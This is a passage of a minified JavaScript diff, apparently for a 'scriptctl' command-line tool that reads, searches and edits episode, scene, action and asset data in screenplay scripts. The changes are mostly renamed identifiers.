e.episodes.flatMap(t=>t.scenes.flatMap(n=>n.actions.map((o,i)=>({address:e.version===4?o.anchor:`${t.id}/${n.id}#${i}`,episodeId:t.id,episodeNo:t.no,timestamp:o.ts}))))}function sp(e){try{return mo(e.timestamp??"")}catch(t){if(!(t instanceof et))throw t;return qi(`Action ${e.address} has an invalid stored timestamp.`,{code:"ACTION_SPAN_TIMESTAMP_INVALID",hint:`Fix it with \`scriptctl edit ${e.address} --ts <time>\` or remove it.`,data:{expected:["valid action.extend.timestamp"],actual:[`${e.address}: ${JSON.stringify(e.timestamp??"")}`]}})}}function pm(e,t){return qi("Action timestamps run backward within the selected episode.",{code:"ACTION_SPAN_TIMESTAMP_NON_MONOTONIC",hint:"Fix the stored timestamps so they do not move backward in document order, then rerun `span`.",data:{actual:[`${e.address}: ${e.timestamp}`,`${t.address}: ${t.timestamp}`]}})}function cp(e,t){t.length===0&&qi("The action selection matched nothing.",{code:"ACTION_SPAN_NO_MATCH",hint:"Check the selector with `scriptctl actions` and rerun with `--span`.",data:{actual:["0 matched actions"]}});let n=new Set(t),o=e.filter(y=>n.has(y.address));o.length!==n.size&&qi("The resolved action selection is inconsistent with the script timeline.",{code:"ACTION_SPAN_SELECTION_INCONSISTENT",data:{expected:[`${n.size} timeline actions`],actual:[`${o.length} timeline actions`]}});let i=new Set(o.map(y=>y.episodeId));i.size!==1&&qi("An action timestamp span must stay within one episode.",{code:"ACTION_SPAN_CROSSES_EPISODES",hint:"Split the selector into one `span` call per episode.",data:{actual:[...i]}});let r=o[0],s=o[o.length-1];r.timestamp||qi(`The first selected Action ${r.address} has no timestamp.`,{code:"ACTION_SPAN_START_TIMESTAMP_MISSING",hint:`Set it with \`scriptctl timestamp ${r.address} --set <time>\`, then rerun.`,data:{actual:[r.address]}});let c=sp(r),a=r,d=c,p="";for(let y of o){if(!y.timestamp)continue;let m=sp(y);m.milliseconds<d.milliseconds&&pm(a,y),a=y,d=m,y.address===s.address&&(p=m.canonical)}let l=e.findIndex(y=>y.address===s.address),f,u;for(let y=l+1;y<e.length;y+=1){let m=e[y];if(m.episodeId!==r.episodeId)break;if(!m.timestamp)continue;let g=sp(m);if(g.milliseconds<d.milliseconds&&pm(a,m),g.milliseconds!==d.milliseconds){f=m,u=g;break}}return Q("span",`${r.episodeId} ${c.canonical}..${u?.canonical??"(open)"} over ${o.length} action(s)`),{episode_id:r.episodeId,ep_no:r.episodeNo,start_timestamp:c.canonical,last_selected_timestamp:p,end_timestamp:u?.canonical??"",end_open:u===void 0,end_exclusive:!0,start_action:r.address,last_action:s.address,end_boundary_action:f?.address??"",matched_actions:o.length}}var dp=["episode_id","ep_no","start_timestamp","last_selected_timestamp","end_timestamp","end_open","end_exclusive","start_action","last_action","end_boundary_action","matched_actions"];function pp(e,t){return t.map(n=>{if(e.version===4)return n.anchor;let o=n.scene.actions.indexOf(n);return`${n.scene.ep.id}/${n.scene.id}#${o}`})}function lp(e,t,n={}){let o=n.offset??0,i=n.limit??20,r=n.context??3;for(let[f,u,y]of[["offset",o,0],["limit",i,1],["context",r,0]])if(!Number.isSafeInteger(u)||u<y)throw new Error(`${f} must be an integer >= ${y}`);let s=Te(e,t);if(s.t!=="asset"&&s.t!=="state")throw new Error("references requires an asset or asset/state address; use read for episodes/scenes/actions");let c=s.asset,a=s.t==="state"?s.state.id:null,d=[...new Set([c.id,c.name,...c.aliases])].filter(Boolean),p=[];for(let f of e.episodes)for(let u of f.scenes){let y=[...u.location?[u.location]:[],...u.actors,...u.props].filter(m=>m.id===c.id&&(a===null||m.states.includes(a)));y.length&&p.push({kind:"scene_binding",scene:u,matched:y.flatMap(m=>m.states)});for(let m of u.actions)if(m.speaker?.id===c.id&&(a===null||m.speaker.state===a)&&p.push({kind:"speaker",scene:u,action:m,matched:[c.id]}),a===null){let g=d.filter(w=>m.content.includes(w));g.length&&p.push({kind:"text_mention",scene:u,action:m,matched:g})}}let l=o+i;return{asset_id:c.id,state_id:a,total:p.length,next_offset:l<p.length?l:null,items:p.slice(o,l).map(({kind:f,scene:u,action:y,matched:m})=>{let g=y?u.actions.indexOf(y):-1,w=y?u.actions.slice(Math.max(0,g-r),g+r+1):[],h=Math.max(0,...w.map(_=>_.anchor.length));return{kind:f,address:y?.anchor??u.anchor,scene_address:u.anchor,episode:u.ep.no,matched:m,text:[Yi(e,u),...w.map(_=>(_===y?"> ":" ")+Fr(e,_,h))].join(`
171
+ `)}})}}function up(e){return[`${e.asset_id}${e.state_id===null?"":"/"+e.state_id} ${e.total} references \xB7 showing ${e.items.length}`,"scene_binding=explicit scene presence; speaker=explicit speaker; text_mention=name/alias mention only (not proof of presence).",...e.items.map(t=>`${t.address} ${t.kind} ep=${t.episode}
172
172
  ${t.text}`),e.next_offset===null?"end":`Continue: --offset ${e.next_offset}`].join(`
173
173
 
174
- `)}var S5=["\u65C1\u767D","\u5E7F\u64AD","\u753B\u5916","\u7FA4\u58F0"],I5={\u65C1\u767D:"system",\u5E7F\u64AD:"broadcast",\u753B\u5916:"offscreen",\u7FA4\u58F0:"group"};function A5(e){let t=new Set(S5);for(let n of e.assets){t.add(n.name);for(let o of n.aliases)t.add(o)}return n=>t.has(n)||t.has(n.split("\xB7")[0])}function ua(e,t="",n={}){let o=Te(e,t);switch(Q("read",`dispatch on node kind "${o.t}"`),o.t){case"script":return b5(e);case"ep":return v5(e,o.ep,n);case"scene":return rp(e,o.scene,n);case"asset":return O5(e,o.asset);case"state":return R5(e,o.asset,o.state);case"action":{let i=n.context??3,r=o.action.scene.actions,s=r.indexOf(o.action),c=r.slice(Math.max(0,s-i),s+i+1),a=n.plain?0:Math.max(...c.map(l=>l.anchor.length)),d=o.action.raw.transition_prompt,p=Object.entries(o.action.raw.extend??{}).filter(([l])=>l!=="timestamp");return[Zi(e,o.action.scene),...c.map(l=>(l===o.action?"> ":" ")+qr(e,l,a,n)),d?`transition: ${di(e,d.target)} | ${d.process} | ${d.contrast}`:"",p.length?`extend: ${p.map(([l,f])=>`${l}=${JSON.stringify(f)}`).join(", ")}`:""].filter(Boolean).join(`
175
- `)}}}function k5(e){return e.actions.reduce((t,n)=>t+n.content.length,0)}function b5(e){let t=e.raw,n=e.episodes.reduce((r,s)=>r+s.scenes.length,0),o=e.episodes.reduce((r,s)=>r+s.scenes.reduce((c,a)=>c+a.actions.length,0),0),i=[`${t.title||"(untitled)"} v${e.version} ${e.episodes.length} ep \xB7 ${n} scenes \xB7 ${o} actions`];for(let r of["logline","theme","synopsis","worldview","style"])t[r]&&i.push(`${r}: ${Zr(String(t[r]),300)}`);Array.isArray(t.main_characters)&&t.main_characters.length&&i.push(`main: ${t.main_characters.map(r=>`${r.name}=${r.role}`).join(", ")}`);for(let r of["actor","location","prop"]){let s=e.assets.filter(c=>c.kind===r);if(s.length){i.push("",`${r}s (${s.length})`);for(let c of s.slice(0,40)){let a=c.aliases.length?` ~${c.aliases.join(",")}`:"",d=c.importance?` [${c.importance}]`:"";i.push(` ${c.id} ${c.name}${d} ${c.states.length}st${a}`)}s.length>40&&i.push(` \u2026 ${s.length-40} more`)}}i.push("","episodes");for(let r of e.episodes){let s=r.scenes.reduce((c,a)=>c+k5(a),0);i.push(` ${r.no} ${r.id} ${r.scenes.length} scenes ${s} chars${r.title?` ${r.title}`:""}`+(r.synopsis?` ${Zr(r.synopsis,120)}`:""))}return i.join(`
176
- `)}function v5(e,t,n){let o=`# EP${String(t.no).padStart(2,"0")} ${t.id} ${t.scenes.length} scenes`+(t.title?` ${t.title}`:"");return n.depth==="outline"?[o,...t.scenes.map(i=>Zi(e,i))].join(`
177
- `):[o,...t.scenes.map(i=>rp(e,i,n))].join(`
174
+ `)}var S5=["\u65C1\u767D","\u5E7F\u64AD","\u753B\u5916","\u7FA4\u58F0"],I5={\u65C1\u767D:"system",\u5E7F\u64AD:"broadcast",\u753B\u5916:"offscreen",\u7FA4\u58F0:"group"};function A5(e){let t=new Set(S5);for(let n of e.assets){t.add(n.name);for(let o of n.aliases)t.add(o)}return n=>t.has(n)||t.has(n.split("\xB7")[0])}function la(e,t="",n={}){let o=Te(e,t);switch(Q("read",`dispatch on node kind "${o.t}"`),o.t){case"script":return b5(e);case"ep":return v5(e,o.ep,n);case"scene":return ip(e,o.scene,n);case"asset":return O5(e,o.asset);case"state":return R5(e,o.asset,o.state);case"action":{let i=n.context??3,r=o.action.scene.actions,s=r.indexOf(o.action),c=r.slice(Math.max(0,s-i),s+i+1),a=n.plain?0:Math.max(...c.map(l=>l.anchor.length)),d=o.action.raw.transition_prompt,p=Object.entries(o.action.raw.extend??{}).filter(([l])=>l!=="timestamp");return[Yi(e,o.action.scene),...c.map(l=>(l===o.action?"> ":" ")+Fr(e,l,a,n)),d?`transition: ${ci(e,d.target)} | ${d.process} | ${d.contrast}`:"",p.length?`extend: ${p.map(([l,f])=>`${l}=${JSON.stringify(f)}`).join(", ")}`:""].filter(Boolean).join(`
175
+ `)}}}function k5(e){return e.actions.reduce((t,n)=>t+n.content.length,0)}function b5(e){let t=e.raw,n=e.episodes.reduce((r,s)=>r+s.scenes.length,0),o=e.episodes.reduce((r,s)=>r+s.scenes.reduce((c,a)=>c+a.actions.length,0),0),i=[`${t.title||"(untitled)"} v${e.version} ${e.episodes.length} ep \xB7 ${n} scenes \xB7 ${o} actions`];for(let r of["logline","theme","synopsis","worldview","style"])t[r]&&i.push(`${r}: ${Yr(String(t[r]),300)}`);Array.isArray(t.main_characters)&&t.main_characters.length&&i.push(`main: ${t.main_characters.map(r=>`${r.name}=${r.role}`).join(", ")}`);for(let r of["actor","location","prop"]){let s=e.assets.filter(c=>c.kind===r);if(s.length){i.push("",`${r}s (${s.length})`);for(let c of s.slice(0,40)){let a=c.aliases.length?` ~${c.aliases.join(",")}`:"",d=c.importance?` [${c.importance}]`:"";i.push(` ${c.id} ${c.name}${d} ${c.states.length}st${a}`)}s.length>40&&i.push(` \u2026 ${s.length-40} more`)}}i.push("","episodes");for(let r of e.episodes){let s=r.scenes.reduce((c,a)=>c+k5(a),0);i.push(` ${r.no} ${r.id} ${r.scenes.length} scenes ${s} chars${r.title?` ${r.title}`:""}`+(r.synopsis?` ${Yr(r.synopsis,120)}`:""))}return i.join(`
176
+ `)}function v5(e,t,n){let o=`# EP${String(t.no).padStart(2,"0")} ${t.id} ${t.scenes.length} scenes`+(t.title?` ${t.title}`:"");return n.depth==="outline"?[o,...t.scenes.map(i=>Yi(e,i))].join(`
177
+ `):[o,...t.scenes.map(i=>ip(e,i,n))].join(`
178
178
 
179
- `)}function O5(e,t){let n=t.raw.role_type?` <${t.raw.role_type}>`:"",o=[`${t.id} ${t.name} ${t.kind}${t.importance?` [${t.importance}]`:""}${n}`];t.aliases.length&&o.push(`aliases: ${t.aliases.join(", ")}`),t.desc&&o.push(t.desc),o.push(`states (${t.states.length})`);for(let s of t.states)o.push(` ${s.id} ${s.name} ${Zr(s.desc,160)}`);let i=[],r=new Map;for(let s of e.episodes)for(let c of s.scenes){let a=[c.location,...c.actors,...c.props].find(d=>d&&d.id===t.id);if(a){i.push(c);for(let d of a.states)r.set(d,(r.get(d)??0)+1)}}if(i.length){let s=[...new Set(i.map(a=>a.ep.no))];o.push(`appears: ${i.length} scenes across ${s.length} ep first ${i[0].ep.no}-${i[0].no} last ${i.at(-1).ep.no}-${i.at(-1).no}`),o.push(`state usage: ${[...r].map(([a,d])=>`${pi(e,t.id,a)}\xD7${d}`).join(", ")}`);let c=t.states.filter(a=>!r.has(a.id));c.length&&o.push(`unused states: ${c.map(a=>`${a.id}(${a.name})`).join(", ")}`)}else o.push("appears: never referenced");return o.join(`
180
- `)}function R5(e,t,n){let o=[];for(let r of e.episodes)for(let s of r.scenes)[s.location,...s.actors,...s.props].find(a=>a&&a.id===t.id)?.states.includes(n.id)&&o.push(s);let i=bn(e).filter(r=>r.speaker?.id===t.id&&r.speaker.state===n.id);return[`${t.id}/${n.id} ${n.name} (${t.kind} ${t.name})`,n.desc,o.length?`bound in ${o.length} scene(s): ${o.slice(0,12).map(r=>`${r.ep.no}-${r.no}`).join(", ")}`+(o.length>12?" \u2026":""):"bound in no scene",i.length?`named by ${i.length} speaker reference(s)`:""].filter(Boolean).join(`
181
- `)}function Zr(e,t){return e.length>t?e.slice(0,t)+"\u2026":e}function gp(e,t){let n=bn(e);if(Q("find",`pool = all actions (${n.length})`),t.in!==void 0){let o=typeof t.in=="string"?[t.in]:t.in,i=new Set(o.flatMap(r=>{let s=Te(e,r);if(s.t==="ep")return s.ep.scenes.flatMap(c=>c.actions);if(s.t==="scene")return s.scene.actions;if(s.t==="action")return[s.action];throw new Error(`--in must address an episode, scene or action (got ${s.t})`)}));n=n.filter(r=>i.has(r)),Q("find",`--in ${o.join(", ")} narrows pool to ${n.length}`)}if(t.type&&(n=n.filter(o=>o.type===t.type),Q("find",`--type ${t.type} -> ${n.length}`)),t.speaker){let o=Te(e,t.speaker);if(o.t!=="asset")throw new Error("--speaker must name an actor");n=n.filter(i=>i.speaker?.id===o.asset.id),Q("find",`--speaker ${t.speaker} -> ${o.asset.id} -> ${n.length}`)}return n}function gm(e,t,n={}){let o=gp(e,n),i=t?new RegExp(t,"u"):null,r=o.filter(f=>!i||i.test(f.content));Q("find",`regex /${t}/ -> ${r.length} hits`);let s=n.limit??40,c=n.window??16,a=r.slice(0,s),d=Math.max(0,...a.map(f=>f.anchor.length)),p=`${r.length} hit${r.length===1?"":"s"}`+(t?` for /${t}/`:"")+(r.length>a.length?` (showing ${a.length})`:""),l=a.map(f=>{let u=`${f.scene.ep.no}-${f.scene.no}-${f.no}`,y=u===f.anchor?"":u.padEnd(8)+" ",m=f.speaker?.id?di(e,f.speaker.id)+"\uFF1A":"",g=n.full||!i?f.content:M5(f.content,i,c);return`${f.anchor.padEnd(d)} ${y}${m}${g}`});return[p,...l].join(`
182
- `)}function M5(e,t,n){let o=e.match(t);if(!o||o.index===void 0)return Zr(e,n*2);let i=Math.max(0,o.index-n),r=Math.min(e.length,o.index+o[0].length+n);return(i>0?"\u2026":"")+e.slice(i,r)+(r<e.length?"\u2026":"")}function hp(e,t){return dp(cp(e),lp(e,gp(e,{in:t})))}function hm(e,t){let n=hp(e,t);return pp.map(o=>`${o}=${n[o]}`).join(" ")}var L5=["content","paren","speaker","ts","type","transition"],N5=["name","desc","importance","aliases","role"],U5=["name","desc"],P5=["title","synopsis"],C5=["space","time"],T5=["title","worldview","style","synopsis","logline","theme","main"];function Wr(e,t,n,o){let i=Object.keys(n).filter(s=>n[s]!==void 0);if(!i.length)throw new Error(`Nothing to change on ${e}; pass at least one field`);let r=i.filter(s=>!o.includes(s));if(r.length){let s=/^[aeiou]/.test(t)?"an":"a";throw new Error(`${e} is ${s} ${t}; it has no ${r.join(", ")} \u2014 ${s} ${t} takes ${o.join(", ")}`)}return i}function ym(e,t,n){let o=Te(e,t);if(o.t==="asset")return $5(e,t,o.asset,n);if(o.t==="state")return D5(e,t,o.asset,o.state,n);if(o.t==="script")return um(e,t||"script","script",o.doc.raw,n,T5);if(o.t==="ep")return um(e,t,"episode",o.ep.raw,n,P5);if(o.t==="scene")return V5(e,t,o.scene,n);let i=o.action,r=i.raw,s=Wr(i.anchor,"action",n,L5),c=ut(e);if(Q("edit",`${i.anchor}: ${s.join(", ")}`),n.type!==void 0&&(r.type=li("type",n.type,qt,Tn)),n.content!==void 0&&(r.content=n.content),n.paren!==void 0&&la(e,r,n.paren),n.speaker===null?delete r.speaker:n.speaker!==void 0&&(r.speaker=yp(e,n.speaker)),n.ts!==void 0&&Em(r,n.ts),n.transition!==void 0)if(n.transition===null)delete r.transition_prompt;else{let[a,d,p]=n.transition.split("|").map(f=>f.trim());if(!a||!d||!p)throw new Error(`transition takes "target|process|contrast" (got "${n.transition}")`);let l=Te(e,a);if(l.t!=="asset")throw new Error(`transition target must be an asset (got ${a})`);r.transition_prompt={target:l.asset.id,process:d,contrast:p}}return be(e),`${i.anchor} ${s.join("+")} ${fa(r)}`+Be(e,c)}function um(e,t,n,o,i,r){let s=Wr(t,n,i,r),c=ut(e);for(let a of s)if(a==="main")o.main_characters=i.main.split(",").map(d=>{let[p,l]=d.split("=").map(f=>f.trim());if(!p||!l)throw new Error(`main takes "\u540D\u5B57=\u89D2\u8272\u5B9A\u4F4D,\u2026" (got "${d}")`);return{name:p,role:l}});else{if(a==="aliases"||a==="role")throw new Error(`${t} is ${n}; it has no ${a}`);o[a]=i[a]}return Q("edit",`${n} ${t}: ${s.join(", ")}`),be(e),`${t} ${s.join("+")}`+Be(e,c)}function V5(e,t,n,o){let i=Wr(t,"scene",o,C5),r=ut(e),s={...n.raw.environment??{}};return o.space!==void 0&&(s.space=li("space",o.space,Eu,Lc)),o.time!==void 0&&(s.time=li("time",o.time,Mc,Cs)),n.raw.environment=s,Q("edit",`scene ${n.anchor}: ${i.join(", ")}`),be(e),`${n.anchor} ${i.join("+")} ${[s.space,s.time].filter(Boolean).join("/")}`+Be(e,r)}function $5(e,t,n,o){let i=Wr(t,"asset",o,N5),r=ut(e);if(o.name!==void 0){let s=e.assets.find(c=>c!==n&&(c.name===o.name||c.aliases.includes(o.name)));if(s)throw new Error(`"${o.name}" already names ${s.kind} ${s.id}`);n.raw[`${n.kind}_name`]=o.name}if(o.desc!==void 0&&(n.raw.description=o.desc),o.importance!==void 0&&(n.raw.importance=bm(o.importance)),o.role!==void 0){if(n.kind!=="actor")throw new Error(`role only applies to actors (${n.name} is a ${n.kind})`);o.role?n.raw.role_type=li("role",o.role,mo,Ci):delete n.raw.role_type}return o.aliases!==void 0&&(o.aliases.length?n.raw.aliases=o.aliases:delete n.raw.aliases),Q("edit",`asset ${n.id}: ${i.join(", ")}`),be(e),`${n.id} ${i.join("+")} ${o.name??n.name}`+Be(e,r)}function D5(e,t,n,o,i){let r=Wr(t,"state",i,U5),s=ut(e),c=n.raw.states.find(a=>a.state_id===o.id);if(i.name!==void 0){if(n.states.some(a=>a.id!==o.id&&a.name===i.name))throw new Error(`${n.name} already has a state named "${i.name}"`);c.state_name=i.name}return i.desc!==void 0&&(c.description=i.desc),Q("edit",`state ${n.id}/${o.id}: ${r.join(", ")}`),be(e),`${n.id}/${o.id} ${r.join("+")} ${i.name??o.name}`+Be(e,s)}function wm(e,t,n,o,i,r,s,c){let a=Te(e,t);if(a.t!=="action")throw new Error(`${t} is a ${a.t}; insert needs a sibling action`);let d=a.action,p=ut(e),l={type:li("type",o,qt,Tn),content:i};if(e.version===4&&(l.action_id=No("ac",new Set(e.actions.keys()))),o==="dialogue"||o==="inner_thought"){if(!r)throw new Error(`a ${o} needs a speaker`);l.speaker=yp(e,r),s!==void 0&&la(e,l,s)}else if(r||s)throw new Error(`a ${o} takes neither speaker nor paren`);c!==void 0&&(l.extend=c);let f=d.scene.raw.actions,u=f.indexOf(d.raw)+(n==="before"?0:1);return f.splice(u,0,l),Q("insert",`${l.action_id??`${d.scene.anchor}#${u}`} ${n} ${d.anchor}`),be(e),`${l.action_id??`${d.scene.anchor}#${u}`} ${n} ${d.anchor} ${fa(l)}`+Be(e,p)}function _m(e,t,n,o="after"){let i=Te(e,t);if(i.t!=="action")throw new Error(`${t} is a ${i.t}; move targets one action`);let r=Te(e,n);if(r.t!=="action")throw new Error(`${n} is a ${r.t}; move --to takes a sibling action`);if(i.action===r.action)throw new Error(`${t} cannot move relative to itself`);let s=ut(e),c=i.action.scene.raw.actions;c.splice(c.indexOf(i.action.raw),1);let a=r.action.scene.raw.actions;return a.splice(a.indexOf(r.action.raw)+(o==="before"?0:1),0,i.action.raw),Q("move",`${i.action.scene.anchor} -> ${r.action.scene.anchor}, identity ${i.action.anchor} preserved`),be(e),`${i.action.anchor} ${o} ${r.action.anchor} (${i.action.scene.anchor} -> ${r.action.scene.anchor})`+Be(e,s)}function la(e,t,n){let o=e.version===4?"parenthetical":"emotion";n===null?delete t[o]:t[o]=n}function Em(e,t){if(t===null){e.extend&&delete e.extend.timestamp;return}let n;try{n=go(t).canonical}catch(o){throw o instanceof et?new Error(`${o.message} (got ${JSON.stringify(t)})`):o}e.extend={...e.extend??{},timestamp:n}}function yp(e,t){let n=e.assets.find(a=>a.name===t||a.aliases.includes(t)),[o,i]=n?[t,void 0]:G5(t,"\xB7"),r=I5[o];if(r)return i?{kind:r,label:i}:{kind:r};let s=Te(e,o);if(s.t!=="asset"||s.asset.kind!=="actor")throw new Error(`Not an actor: ${t}`);let c={actor_id:s.asset.id};if(i){let a=s.asset.states.find(d=>d.name===i||d.id===i);if(!a)throw new Error(`Unknown state "${i}" on ${s.asset.name}`);c.state_id=a.id}return c}function G5(e,t){let n=e.indexOf(t);return n<0?[e,void 0]:[e.slice(0,n),e.slice(n+t.length)]}function fa(e){return Zr(String(e.content??""),40)}function xm(e,t,n,o={}){let i=Lo(structuredClone(e.raw)),r=B5(i,t,n,o);return e.raw=i.raw,be(e),r}function B5(e,t,n,o){if(t==="+"||Number(t)===e.episodes.length+1){let r={scenes:[]};return e.version===4&&(r.episode_id=No("ep",new Set(e.eps.keys()))),e.raw.episodes.push(r),Q("write",`appending episode ${e.episodes.length+1}`),fm(e,r,e.episodes.length+1,n,o,!0)}let i=Te(e,t);if(i.t==="scene")return J5(e,i.scene,n,o);if(i.t==="ep")return fm(e,i.ep.raw,i.ep.no,n,o,!1);throw new Error(`write targets a scene or an episode (got ${i.t})`)}function J5(e,t,n,o){let i=ut(e),r=Im(e,t.raw,t,n,new Set(e.actions.keys()),o);return be(e),Sm(t.anchor,r)+Be(e,i)}function Sm(e,t){return`${e}: ${t.total} actions (${t.kept} kept, ${t.created} new, ${t.dropped.length} deleted)`+(t.dropped.length?`
183
- deleted: ${t.dropped.map(n=>`${n.anchor} ${fa(n.raw)}`).join(`
184
- `)}`:"")}function Im(e,t,n,o,i,r,s,c){let a=A5(e),{head:d,meta:p,body:l}=dm(o.split(`
185
- `));if(d){let h=sp(d,p);t.environment=h.env.space||h.env.time?h.env:void 0,t.environment===void 0&&delete t.environment,t.location=h.location?mp(e,h.location,"location"):null,t.actors=h.cast.map(_=>mp(e,_,"actor")),t.props=h.props.map(_=>mp(e,_,"prop"))}let f=s??new Map((n?.actions??[]).map(h=>[h.anchor,h])),u=c??new Set,y=new Set,m=[],g=0,w=n?n.anchor:"this new scene";for(let h of l){let _=cm(h,a);if(!_)continue;let x=_.anchor?f.get(_.anchor):void 0;if(_.anchor&&!x)throw new Error(`Anchor ${_.anchor} is not in ${w} \u2014 move it with \`move\`, or drop the anchor to create a new action`);if(x&&u.has(x.anchor))throw new Error(`Anchor ${_.anchor} appears twice in ${w} \u2014 drop the anchor from the copy to make it a new action`);let E=x?x.raw:{};!x&&e.version===4&&(E.action_id=No("ac",i)),E.type=li("type",_.type,qt,Tn),E.content=_.content,_.type==="dialogue"||_.type==="inner_thought"?(E.speaker=yp(e,_.speakerName),la(e,E,_.paren??null)):(delete E.speaker,la(e,E,null)),Em(E,_.ts??null),x?(y.add(x.anchor),u.add(x.anchor)):g++,m.push(E)}if(!m.length&&(n?.actions.length??0)>0&&!r.allowDelete)throw new Error(`That would leave ${w} with no actions${n?` (deleting all ${n.actions.length})`:""} \u2014 the body after the \`##\` header is empty; pass --allow-delete if that is the intent`);if(m.length&&!y.size&&(n?.actions.length??0)>0&&!r.allowDelete)throw new Error(`None of the ${m.length} line(s) carry an anchor from ${w}, so all ${n.actions.length} existing action(s) would be replaced by new ids \u2014 \`read --plain\` output cannot be written back; re-read without --plain, or pass --allow-delete to rewrite the scene from scratch`);return t.actions=m,{total:m.length,kept:y.size,created:g,dropped:s?[]:(n?.actions??[]).filter(h=>!y.has(h.anchor))}}function fm(e,t,n,o,i,r){let s=ut(e),c=r?[]:e.episodes[n-1].scenes,a=new Map;for(let x of c)a.set(x.anchor,x),a.set(x.id,x);let d=[];for(let x of o.split(`
179
+ `)}function O5(e,t){let n=t.raw.role_type?` <${t.raw.role_type}>`:"",o=[`${t.id} ${t.name} ${t.kind}${t.importance?` [${t.importance}]`:""}${n}`];t.aliases.length&&o.push(`aliases: ${t.aliases.join(", ")}`),t.desc&&o.push(t.desc),o.push(`states (${t.states.length})`);for(let s of t.states)o.push(` ${s.id} ${s.name} ${Yr(s.desc,160)}`);let i=[],r=new Map;for(let s of e.episodes)for(let c of s.scenes){let a=[c.location,...c.actors,...c.props].find(d=>d&&d.id===t.id);if(a){i.push(c);for(let d of a.states)r.set(d,(r.get(d)??0)+1)}}if(i.length){let s=[...new Set(i.map(a=>a.ep.no))];o.push(`appears: ${i.length} scenes across ${s.length} ep first ${i[0].ep.no}-${i[0].no} last ${i.at(-1).ep.no}-${i.at(-1).no}`),o.push(`state usage: ${[...r].map(([a,d])=>`${di(e,t.id,a)}\xD7${d}`).join(", ")}`);let c=t.states.filter(a=>!r.has(a.id));c.length&&o.push(`unused states: ${c.map(a=>`${a.id}(${a.name})`).join(", ")}`)}else o.push("appears: never referenced");return o.join(`
180
+ `)}function R5(e,t,n){let o=[];for(let r of e.episodes)for(let s of r.scenes)[s.location,...s.actors,...s.props].find(a=>a&&a.id===t.id)?.states.includes(n.id)&&o.push(s);let i=kn(e).filter(r=>r.speaker?.id===t.id&&r.speaker.state===n.id);return[`${t.id}/${n.id} ${n.name} (${t.kind} ${t.name})`,n.desc,o.length?`bound in ${o.length} scene(s): ${o.slice(0,12).map(r=>`${r.ep.no}-${r.no}`).join(", ")}`+(o.length>12?" \u2026":""):"bound in no scene",i.length?`named by ${i.length} speaker reference(s)`:""].filter(Boolean).join(`
181
+ `)}function Yr(e,t){return e.length>t?e.slice(0,t)+"\u2026":e}function mp(e,t){let n=kn(e);if(Q("find",`pool = all actions (${n.length})`),t.in!==void 0){let o=typeof t.in=="string"?[t.in]:t.in,i=new Set(o.flatMap(r=>{let s=Te(e,r);if(s.t==="ep")return s.ep.scenes.flatMap(c=>c.actions);if(s.t==="scene")return s.scene.actions;if(s.t==="action")return[s.action];throw new Error(`--in must address an episode, scene or action (got ${s.t})`)}));n=n.filter(r=>i.has(r)),Q("find",`--in ${o.join(", ")} narrows pool to ${n.length}`)}if(t.type&&(n=n.filter(o=>o.type===t.type),Q("find",`--type ${t.type} -> ${n.length}`)),t.speaker){let o=Te(e,t.speaker);if(o.t!=="asset")throw new Error("--speaker must name an actor");n=n.filter(i=>i.speaker?.id===o.asset.id),Q("find",`--speaker ${t.speaker} -> ${o.asset.id} -> ${n.length}`)}return n}function mm(e,t,n={}){let o=mp(e,n),i=t?new RegExp(t,"u"):null,r=o.filter(f=>!i||i.test(f.content));Q("find",`regex /${t}/ -> ${r.length} hits`);let s=n.limit??40,c=n.window??16,a=r.slice(0,s),d=Math.max(0,...a.map(f=>f.anchor.length)),p=`${r.length} hit${r.length===1?"":"s"}`+(t?` for /${t}/`:"")+(r.length>a.length?` (showing ${a.length})`:""),l=a.map(f=>{let u=`${f.scene.ep.no}-${f.scene.no}-${f.no}`,y=u===f.anchor?"":u.padEnd(8)+" ",m=f.speaker?.id?ci(e,f.speaker.id)+"\uFF1A":"",g=n.full||!i?f.content:M5(f.content,i,c);return`${f.anchor.padEnd(d)} ${y}${m}${g}`});return[p,...l].join(`
182
+ `)}function M5(e,t,n){let o=e.match(t);if(!o||o.index===void 0)return Yr(e,n*2);let i=Math.max(0,o.index-n),r=Math.min(e.length,o.index+o[0].length+n);return(i>0?"\u2026":"")+e.slice(i,r)+(r<e.length?"\u2026":"")}function gp(e,t){return cp(ap(e),pp(e,mp(e,{in:t})))}function gm(e,t){let n=gp(e,t);return dp.map(o=>`${o}=${n[o]}`).join(" ")}var L5=["content","paren","speaker","ts","type","transition"],N5=["name","desc","importance","aliases","role"],U5=["name","desc"],P5=["title","synopsis"],C5=["space","time"],T5=["title","worldview","style","synopsis","logline","theme","main"];function qr(e,t,n,o){let i=Object.keys(n).filter(s=>n[s]!==void 0);if(!i.length)throw new Error(`Nothing to change on ${e}; pass at least one field`);let r=i.filter(s=>!o.includes(s));if(r.length){let s=/^[aeiou]/.test(t)?"an":"a";throw new Error(`${e} is ${s} ${t}; it has no ${r.join(", ")} \u2014 ${s} ${t} takes ${o.join(", ")}`)}return i}function hm(e,t,n){let o=Te(e,t);if(o.t==="asset")return $5(e,t,o.asset,n);if(o.t==="state")return D5(e,t,o.asset,o.state,n);if(o.t==="script")return lm(e,t||"script","script",o.doc.raw,n,T5);if(o.t==="ep")return lm(e,t,"episode",o.ep.raw,n,P5);if(o.t==="scene")return V5(e,t,o.scene,n);let i=o.action,r=i.raw,s=qr(i.anchor,"action",n,L5),c=ut(e);if(Q("edit",`${i.anchor}: ${s.join(", ")}`),n.type!==void 0&&(r.type=pi("type",n.type,qt,Cn)),n.content!==void 0&&(r.content=n.content),n.paren!==void 0&&pa(e,r,n.paren),n.speaker===null?delete r.speaker:n.speaker!==void 0&&(r.speaker=hp(e,n.speaker)),n.ts!==void 0&&_m(r,n.ts),n.transition!==void 0)if(n.transition===null)delete r.transition_prompt;else{let[a,d,p]=n.transition.split("|").map(f=>f.trim());if(!a||!d||!p)throw new Error(`transition takes "target|process|contrast" (got "${n.transition}")`);let l=Te(e,a);if(l.t!=="asset")throw new Error(`transition target must be an asset (got ${a})`);r.transition_prompt={target:l.asset.id,process:d,contrast:p}}return be(e),`${i.anchor} ${s.join("+")} ${ua(r)}`+Be(e,c)}function lm(e,t,n,o,i,r){let s=qr(t,n,i,r),c=ut(e);for(let a of s)if(a==="main")o.main_characters=i.main.split(",").map(d=>{let[p,l]=d.split("=").map(f=>f.trim());if(!p||!l)throw new Error(`main takes "\u540D\u5B57=\u89D2\u8272\u5B9A\u4F4D,\u2026" (got "${d}")`);return{name:p,role:l}});else{if(a==="aliases"||a==="role")throw new Error(`${t} is ${n}; it has no ${a}`);o[a]=i[a]}return 